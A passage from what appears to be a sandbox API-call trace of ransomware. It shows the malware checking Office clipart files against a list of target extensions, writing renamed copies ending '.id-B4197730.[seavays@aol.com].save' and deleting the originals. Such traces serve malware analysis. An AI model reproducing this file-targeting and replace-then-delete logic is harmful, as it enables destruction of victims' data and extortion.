Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0063.133] lstrlenW (lpString=".dbf") returned 4 [0063.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0063.133] lstrlenW (lpString=".1cd") returned 4 [0063.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0063.133] lstrlenW (lpString=".jpg") returned 4 [0063.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.133] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.133] lstrlenW (lpString="AN01174_.WMF") returned 12 [0063.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0063.134] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=27858) returned 1 [0063.134] CloseHandle (hObject=0x2fc) returned 1 [0063.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220 [0063.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0063.134] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.134] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0063.135] GetLastError () returned 0x0 [0063.135] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x6cd2, lpOverlapped=0x0) returned 1 [0063.136] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x6ce0, lpOverlapped=0x0) returned 1 [0063.138] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.138] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.138] SetEndOfFile (hFile=0x384) returned 1 [0063.138] CloseHandle (hObject=0x384) returned 1 [0063.139] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.139] SetEndOfFile (hFile=0x2fc) returned 1 [0063.143] CloseHandle (hObject=0x2fc) returned 1 [0063.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0063.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0063.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0063.144] lstrlenW (lpString=".doc") returned 4 [0063.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.144] lstrlenW (lpString=".docx") returned 5 [0063.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.144] lstrlenW (lpString=".pdf") returned 4 [0063.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.144] lstrlenW (lpString=".xls") returned 4 [0063.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.144] lstrlenW (lpString=".xlsx") returned 5 [0063.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.144] lstrlenW (lpString=".ppt") returned 4 [0063.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0063.144] lstrlenW (lpString=".zip") returned 4 [0063.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.144] lstrlenW (lpString=".rar") returned 4 [0063.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.144] lstrlenW (lpString=".bz2") returned 4 [0063.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.144] lstrlenW (lpString=".7z") returned 3 [0063.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0063.144] lstrlenW (lpString=".dbf") returned 4 [0063.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0063.144] lstrlenW (lpString=".1cd") returned 4 [0063.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0063.144] lstrlenW (lpString=".jpg") returned 4 [0063.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0063.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0063.145] lstrlenW (lpString=".doc") returned 4 [0063.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.145] lstrlenW (lpString=".docx") returned 5 [0063.145] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.145] lstrlenW (lpString=".pdf") returned 4 [0063.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.145] lstrlenW (lpString=".xls") returned 4 [0063.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.145] lstrlenW (lpString=".xlsx") returned 5 [0063.145] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.145] lstrlenW (lpString=".ppt") returned 4 [0063.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0063.145] lstrlenW (lpString=".zip") returned 4 [0063.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.145] lstrlenW (lpString=".rar") returned 4 [0063.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.145] lstrlenW (lpString=".bz2") returned 4 [0063.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.145] lstrlenW (lpString=".7z") returned 3 [0063.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0063.145] lstrlenW (lpString=".dbf") returned 4 [0063.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0063.145] lstrlenW (lpString=".1cd") returned 4 [0063.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0063.145] lstrlenW (lpString=".jpg") returned 4 [0063.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.146] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.146] lstrlenW (lpString="AN01184_.WMF") returned 12 [0063.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0063.146] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3746) returned 1 [0063.146] CloseHandle (hObject=0x2fc) returned 1 [0063.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220 [0063.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0063.146] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.146] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0063.147] GetLastError () returned 0x0 [0063.147] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xea2, lpOverlapped=0x0) returned 1 [0063.149] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0063.150] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.150] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.150] SetEndOfFile (hFile=0x384) returned 1 [0063.150] CloseHandle (hObject=0x384) returned 1 [0063.151] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.151] SetEndOfFile (hFile=0x2fc) returned 1 [0063.152] CloseHandle (hObject=0x2fc) returned 1 [0063.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0063.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0063.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0063.152] lstrlenW (lpString=".doc") returned 4 [0063.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.152] lstrlenW (lpString=".docx") returned 5 [0063.152] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.152] lstrlenW (lpString=".pdf") returned 4 [0063.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.152] lstrlenW (lpString=".xls") returned 4 [0063.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.152] lstrlenW (lpString=".xlsx") returned 5 [0063.153] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.153] lstrlenW (lpString=".ppt") returned 4 [0063.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0063.153] lstrlenW (lpString=".zip") returned 4 [0063.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.153] lstrlenW (lpString=".rar") returned 4 [0063.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.153] lstrlenW (lpString=".bz2") returned 4 [0063.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.153] lstrlenW (lpString=".7z") returned 3 [0063.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0063.153] lstrlenW (lpString=".dbf") returned 4 [0063.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0063.153] lstrlenW (lpString=".1cd") returned 4 [0063.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0063.153] lstrlenW (lpString=".jpg") returned 4 [0063.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0063.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0063.153] lstrlenW (lpString=".doc") returned 4 [0063.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.153] lstrlenW (lpString=".docx") returned 5 [0063.153] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.153] lstrlenW (lpString=".pdf") returned 4 [0063.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.153] lstrlenW (lpString=".xls") returned 4 [0063.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.153] lstrlenW (lpString=".xlsx") returned 5 [0063.153] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.154] lstrlenW (lpString=".ppt") returned 4 [0063.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0063.154] lstrlenW (lpString=".zip") returned 4 [0063.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.154] lstrlenW (lpString=".rar") returned 4 [0063.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.154] lstrlenW (lpString=".bz2") returned 4 [0063.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.154] lstrlenW (lpString=".7z") returned 3 [0063.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0063.154] lstrlenW (lpString=".dbf") returned 4 [0063.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0063.154] lstrlenW (lpString=".1cd") returned 4 [0063.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0063.154] lstrlenW (lpString=".jpg") returned 4 [0063.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.154] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.154] lstrlenW (lpString="AN01216_.WMF") returned 12 [0063.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0063.155] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=5836) returned 1 [0063.155] CloseHandle (hObject=0x2fc) returned 1 [0063.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0x220 [0063.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0063.155] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.155] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0063.599] GetLastError () returned 0x0 [0063.600] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x16cc, lpOverlapped=0x0) returned 1 [0063.601] WriteFile (in: hFile=0x380, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x16d0, lpOverlapped=0x0) returned 1 [0063.603] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.603] WriteFile (in: hFile=0x380, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.603] SetEndOfFile (hFile=0x380) returned 1 [0063.603] CloseHandle (hObject=0x380) returned 1 [0063.604] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.604] SetEndOfFile (hFile=0x2fc) returned 1 [0063.605] CloseHandle (hObject=0x2fc) returned 1 [0063.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0063.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0063.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0063.606] lstrlenW (lpString=".doc") returned 4 [0063.606] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.606] lstrlenW (lpString=".docx") returned 5 [0063.606] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.606] lstrlenW (lpString=".pdf") returned 4 [0063.606] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.606] lstrlenW (lpString=".xls") returned 4 [0063.606] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.606] lstrlenW (lpString=".xlsx") returned 5 [0063.606] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.606] lstrlenW (lpString=".ppt") returned 4 [0063.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0063.607] lstrlenW (lpString=".zip") returned 4 [0063.607] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.607] lstrlenW (lpString=".rar") returned 4 [0063.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.607] lstrlenW (lpString=".bz2") returned 4 [0063.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.607] lstrlenW (lpString=".7z") returned 3 [0063.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0063.607] lstrlenW (lpString=".dbf") returned 4 [0063.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0063.607] lstrlenW (lpString=".1cd") returned 4 [0063.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0063.607] lstrlenW (lpString=".jpg") returned 4 [0063.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0063.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0063.607] lstrlenW (lpString=".doc") returned 4 [0063.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.607] lstrlenW (lpString=".docx") returned 5 [0063.607] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.607] lstrlenW (lpString=".pdf") returned 4 [0063.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.608] lstrlenW (lpString=".xls") returned 4 [0063.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.608] lstrlenW (lpString=".xlsx") returned 5 [0063.608] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.608] lstrlenW (lpString=".ppt") returned 4 [0063.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0063.608] lstrlenW (lpString=".zip") returned 4 [0063.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.608] lstrlenW (lpString=".rar") returned 4 [0063.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.608] lstrlenW (lpString=".bz2") returned 4 [0063.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.608] lstrlenW (lpString=".7z") returned 3 [0063.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0063.608] lstrlenW (lpString=".dbf") returned 4 [0063.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0063.608] lstrlenW (lpString=".1cd") returned 4 [0063.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0063.608] lstrlenW (lpString=".jpg") returned 4 [0063.608] 